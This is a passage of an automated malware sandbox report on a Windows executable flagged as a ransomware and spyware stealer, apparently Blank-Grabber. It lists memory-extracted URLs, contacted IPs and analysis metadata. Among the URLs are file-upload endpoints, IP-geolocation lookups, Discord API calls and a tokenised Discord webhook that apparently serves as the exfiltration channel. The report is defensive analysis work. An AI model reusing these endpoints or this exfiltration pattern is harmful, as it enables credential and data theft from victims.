https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches	KpHYfxnJs6.exe, 00000004.00000002.2884950278.0000000006F80000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459281802.0000000004E02000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459218344.0000000004DE8000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459199277.0000000004E1C000.00000004.00000020.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	KpHYfxnJs6.exe, 00000004.00000003.2742616190.0000000007D7A000.00000004.00000020.00020000.00000000.sdmp	false
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	KpHYfxnJs6.exe, 00000004.00000003.2621699329.0000000007607000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2620928135.0000000007A67000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2629341619.0000000007607000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2651924922.0000000007A42000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2602474054.0000000007605000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2617501085.0000000007A67000.00000004.00000020.00020000.00000000.sdmp	false
https://www.youtube.com/	KpHYfxnJs6.exe, 00000004.00000002.2894662678.00000000080D0000.00000004.00001000.00020000.00000000.sdmp	false
https://github.com/Pester/Pester	powershell.exe, 00000046.00000002.2707327914.0000000004849000.00000004.00000800.00020000.00000000.sdmp	false
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	KpHYfxnJs6.exe, KpHYfxnJs6.exe, 00000004.00000003.2485485628.000000000754D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2886303879.000000000754E000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2880603625.0000000007531000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2621699329.000000000754E000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2881124605.0000000007538000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2604998063.000000000753A000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2744888765.0000000007538000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484992924.000000000753D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484622291.000000000759F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2674876245.000000000754F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2744505869.0000000007534000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2646596317.000000000754F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2617001102.000000000754D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2598446377.000000000753D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2880323805.000000000752A000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484622291.000000000753D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2885316620.0000000007280000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2636804800.000000000754F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2616436229.000000000753A000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2881487113.000000000754D000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	KpHYfxnJs6.exe, 00000004.00000003.2459281802.0000000004E02000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2884068871.0000000004DD5000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459218344.0000000004DE8000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459199277.0000000004E1C000.00000004.00000020.00020000.00000000.sdmp	false
https://MD8.mozilla.org/1/m	KpHYfxnJs6.exe, 00000004.00000003.2684913468.0000000009830000.00000004.00001000.00020000.00000000.sdmp	false
https://www.python.org/psf/license/	KpHYfxnJs6.exe, 00000004.00000002.2898642505.000000006C67B000.00000040.00000001.01000000.00000006.sdmp	false
http://ip-api.com/line/?fields=hostingr	KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	false
https://bugzilla.mo	KpHYfxnJs6.exe, 00000004.00000002.2895031022.0000000009770000.00000004.00001000.00020000.00000000.sdmp	false
https://api.anonfiles.com/uploadr	KpHYfxnJs6.exe, 00000004.00000003.2478525304.0000000007540000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	false
http://tools.ietf.org/html/rfc6125#section-6.4.3	KpHYfxnJs6.exe, 00000004.00000002.2889989783.00000000078A0000.00000004.00001000.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000E.00000002.2538439375.0000000005126000.00000004.00000800.00020000.00000000.sdmp	false
https://google.com/mail	KpHYfxnJs6.exe, 00000004.00000003.2603116149.0000000004E43000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2884329550.0000000004E45000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2881336814.0000000004E43000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2744996096.0000000004E44000.00000004.00000020.00020000.00000000.sdmp	false
https://packaging.python.org/specifications/entry-points/	KpHYfxnJs6.exe, 00000004.00000002.2894453281.0000000007E10000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2485343382.0000000007616000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2891011051.00000000078F0000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484414365.00000000075F6000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484992924.0000000007616000.00000004.00000020.00020000.00000000.sdmp	false
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	KpHYfxnJs6.exe, 00000004.00000003.2742238801.0000000007AE8000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	KpHYfxnJs6.exe, 00000004.00000003.2459199277.0000000004E1C000.00000004.00000020.00020000.00000000.sdmp	false
http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm	KpHYfxnJs6.exe, 00000004.00000003.2479999836.0000000007545000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2479725177.00000000075A5000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2479963296.00000000075A5000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2479814100.000000000753E000.00000004.00000020.00020000.00000000.sdmp	false
https://www.google.com/	KpHYfxnJs6.exe, 00000004.00000002.2894662678.00000000080D0000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2895031022.0000000009770000.00000004.00001000.00020000.00000000.sdmp	false
https://foss.heptapod.net/pypy/pypy/-/issues/3539	KpHYfxnJs6.exe, 00000004.00000002.2889989783.00000000078A0000.00000004.00001000.00020000.00000000.sdmp	false
https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.	KpHYfxnJs6.exe, KpHYfxnJs6.exe, 00000004.00000003.2484058044.00000000075F6000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2621699329.0000000007607000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2629341619.0000000007607000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484185809.0000000007628000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2602474054.0000000007605000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2674876245.0000000007606000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2745181563.000000000760B000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2880829085.000000000760D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2598446377.00000000075A4000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2485343382.0000000007616000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2880603625.00000000075B1000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2886692444.0000000007611000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2743181116.00000000075A7000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484414365.00000000075F6000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2744799637.0000000007604000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484992924.0000000007616000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2678320239.0000000007606000.00000004.00000020.00020000.00000000.sdmp	false
http://google.com/	KpHYfxnJs6.exe, KpHYfxnJs6.exe, 00000004.00000003.2484058044.00000000075F6000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2621699329.0000000007607000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2629341619.0000000007607000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2602474054.0000000007605000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2674876245.0000000007606000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2745181563.000000000760B000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2880829085.000000000760D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2598446377.00000000075A4000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2485343382.0000000007616000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2880603625.00000000075B1000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2886692444.0000000007611000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2743181116.00000000075A7000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484414365.00000000075F6000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2744799637.0000000007604000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484992924.0000000007616000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2678320239.0000000007606000.00000004.00000020.00020000.00000000.sdmp	false
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	KpHYfxnJs6.exe, 00000004.00000003.2651924922.0000000007A42000.00000004.00000020.00020000.00000000.sdmp	false
https://api.gofile.io/getServerr	KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	false
http://ocsp.sectigo.com0	KpHYfxnJs6.exe, 00000000.00000003.2050969892.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	false
https://www.python.org/download/releases/2.3/mro/.	KpHYfxnJs6.exe, 00000004.00000003.2461660455.0000000004E53000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2461744604.0000000004E47000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2461580461.0000000004E47000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2885247505.0000000007240000.00000004.00001000.00020000.00000000.sdmp	false
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsN	KpHYfxnJs6.exe, 00000004.00000003.2484058044.00000000075F6000.00000004.00000020.00020000.00000000.sdmp	false
https://contoso.com/License	powershell.exe, 00000046.00000002.2729350973.000000000575C000.00000004.00000800.00020000.00000000.sdmp	false
https://discordapp.com/api/v9/users/	KpHYfxnJs6.exe, 00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2478525304.0000000007540000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	false
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source	KpHYfxnJs6.exe, 00000004.00000002.2884950278.0000000006F80000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459281802.0000000004E02000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459218344.0000000004DE8000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459199277.0000000004E1C000.00000004.00000020.00020000.00000000.sdmp	false
http://ip-api.com/json/?fields=225545r	KpHYfxnJs6.exe, 00000004.00000003.2478525304.0000000007540000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	false
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	KpHYfxnJs6.exe, 00000004.00000003.2742616190.0000000007D7A000.00000004.00000020.00020000.00000000.sdmp	false
https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec	KpHYfxnJs6.exe, 00000004.00000002.2884004752.0000000004D80000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459281802.0000000004E02000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459218344.0000000004DE8000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459199277.0000000004E1C000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/urllib3/urllib3/issues/2920	KpHYfxnJs6.exe, 00000004.00000002.2894453281.0000000007E10000.00000004.00001000.00020000.00000000.sdmp	false
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	KpHYfxnJs6.exe, 00000004.00000003.2742238801.0000000007B0C000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2742827988.0000000007D4A000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2744888765.0000000007538000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2744505869.0000000007534000.00000004.00000020.00020000.00000000.sdmp	false
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	KpHYfxnJs6.exe, 00000000.00000003.2050969892.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	false
https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data	KpHYfxnJs6.exe, 00000004.00000003.2459281802.0000000004E02000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2884068871.0000000004DD5000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459218344.0000000004DE8000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459199277.0000000004E1C000.00000004.00000020.00020000.00000000.sdmp	false
https://yahoo.com/	KpHYfxnJs6.exe, 00000004.00000003.2603116149.0000000004E43000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2884329550.0000000004E45000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2881336814.0000000004E43000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2744996096.0000000004E44000.00000004.00000020.00020000.00000000.sdmp	false
https://account.bellmedia.c	KpHYfxnJs6.exe, 00000004.00000003.2679930473.000000000AB50000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2684913468.0000000009830000.00000004.00001000.00020000.00000000.sdmp	false
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	KpHYfxnJs6.exe, KpHYfxnJs6.exe, 00000004.00000003.2485485628.000000000754D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2886303879.000000000754E000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2880603625.0000000007531000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2621699329.000000000754E000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2881124605.0000000007538000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2604998063.000000000753A000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2744888765.0000000007538000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484992924.000000000753D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2674876245.000000000754F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2744505869.0000000007534000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2646596317.000000000754F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2617001102.000000000754D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2598446377.000000000753D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2880323805.000000000752A000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484622291.000000000753D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2636804800.000000000754F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2616436229.000000000753A000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2881487113.000000000754D000.00000004.00000020.00020000.00000000.sdmp	false
https://login.microsoftonline.com	KpHYfxnJs6.exe, 00000004.00000003.2679930473.000000000AB50000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2684913468.0000000009830000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2895031022.0000000009770000.00000004.00001000.00020000.00000000.sdmp	false
http://crl.thawte.com/ThawteTimestampingCA.crl0	KpHYfxnJs6.exe, 00000000.00000003.2050969892.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	false
https://html.spec.whatwg.org/multipage/	KpHYfxnJs6.exe, KpHYfxnJs6.exe, 00000004.00000003.2646596317.000000000759F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2881487113.00000000075B1000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2616436229.000000000759F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2623954278.000000000759F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2604998063.000000000759F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2674876245.000000000759F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2485485628.000000000759F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484622291.000000000759F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2598446377.00000000075A4000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2880603625.00000000075B1000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2886303879.00000000075B1000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2636804800.000000000759F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2743181116.00000000075A7000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484992924.000000000759F000.00000004.00000020.00020000.00000000.sdmp	false
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings	KpHYfxnJs6.exe, 00000004.00000002.2891011051.00000000078F0000.00000004.00001000.00020000.00000000.sdmp	false
https://www.zhihu.com/	KpHYfxnJs6.exe, 00000004.00000002.2895031022.0000000009770000.00000004.00001000.00020000.00000000.sdmp	false
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	KpHYfxnJs6.exe, 00000004.00000003.2742238801.0000000007AE8000.00000004.00000020.00020000.00000000.sdmp	false
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	KpHYfxnJs6.exe, 00000004.00000003.2742616190.0000000007D7A000.00000004.00000020.00020000.00000000.sdmp	false
https://www.rfc-editor.org/rfc/rfc8259#section-8.1	KpHYfxnJs6.exe, KpHYfxnJs6.exe, 00000004.00000003.2484058044.00000000075F6000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2886740253.000000000762F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2621613704.000000000762E000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484185809.0000000007628000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2602474054.0000000007605000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2880087065.000000000762D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2629341619.000000000762F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2674550956.000000000762D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2598446377.00000000075A4000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2485343382.0000000007616000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2743962657.0000000007628000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2677988442.000000000762E000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2743181116.00000000075A7000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2652879260.000000000762F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484414365.00000000075F6000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484992924.0000000007616000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2684053799.0000000007628000.00000004.00000020.00020000.00000000.sdmp	false
https://contoso.com/	powershell.exe, 00000046.00000002.2729350973.000000000575C000.00000004.00000800.00020000.00000000.sdmp	false
http://www.iana.org/time-zones/repository/tz-link.html	KpHYfxnJs6.exe, 00000004.00000003.2480053850.000000000750B000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2479725177.00000000075A5000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2479963296.00000000075A5000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2479932107.0000000007506000.00000004.00000020.00020000.00000000.sdmp	false
https://api.gofile.io/getServer	KpHYfxnJs6.exe, 00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp	false
https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png	KpHYfxnJs6.exe, 00000004.00000002.2886083384.0000000007480000.00000004.00000020.00020000.00000000.sdmp	false
http://nuget.org/NuGet.exe	powershell.exe, 0000000E.00000002.2545646683.0000000006036000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000046.00000002.2729350973.000000000575C000.00000004.00000800.00020000.00000000.sdmp	false
https://discord.com/api/webhooks/1325289657537396889/J06FnIZUAv7ve4gZB3OnZqf37kI5zFxJAxHAJD7bveXtJPD	KpHYfxnJs6.exe, 00000004.00000002.2894515812.0000000007E50000.00000004.00001000.00020000.00000000.sdmp	false
https://sectigo.com/CPS0	KpHYfxnJs6.exe, 00000000.00000003.2050969892.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	false
http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/	KpHYfxnJs6.exe, KpHYfxnJs6.exe, 00000004.00000002.2886740253.000000000762F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2621613704.000000000762E000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2602474054.0000000007605000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2880087065.000000000762D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2629341619.000000000762F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2674550956.000000000762D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2598446377.00000000075A4000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2485343382.0000000007616000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2743962657.0000000007628000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2677988442.000000000762E000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2743181116.00000000075A7000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2652879260.000000000762F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484992924.0000000007616000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2684053799.0000000007628000.00000004.00000020.00020000.00000000.sdmp	false
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	KpHYfxnJs6.exe, 00000004.00000003.2742616190.0000000007D7A000.00000004.00000020.00020000.00000000.sdmp	false
http://ocsp.thawte.com0	KpHYfxnJs6.exe, 00000000.00000003.2050969892.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	false
https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.pngz	KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	false
https://www.wykop.pl/	KpHYfxnJs6.exe, 00000004.00000002.2891396339.00000000079D0000.00000004.00001000.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	true
162.159.137.232	discord.com	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584305
Start date and time:	2025-01-05 07:17:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	131
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	KpHYfxnJs6.exe renamed because original name is a hash value
Original Sample Name:	6a595507f7b92e6af81d2c67f310629a552de261ed6e6e2a2170b71a7503ed31.exe
Detection:	MAL
Classification:	mal100.rans.troj.adwa.spyw.expl.evad.winEXE@206/55@4/2
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 67% Number of executed functions: 182 Number of non-executed functions: 92
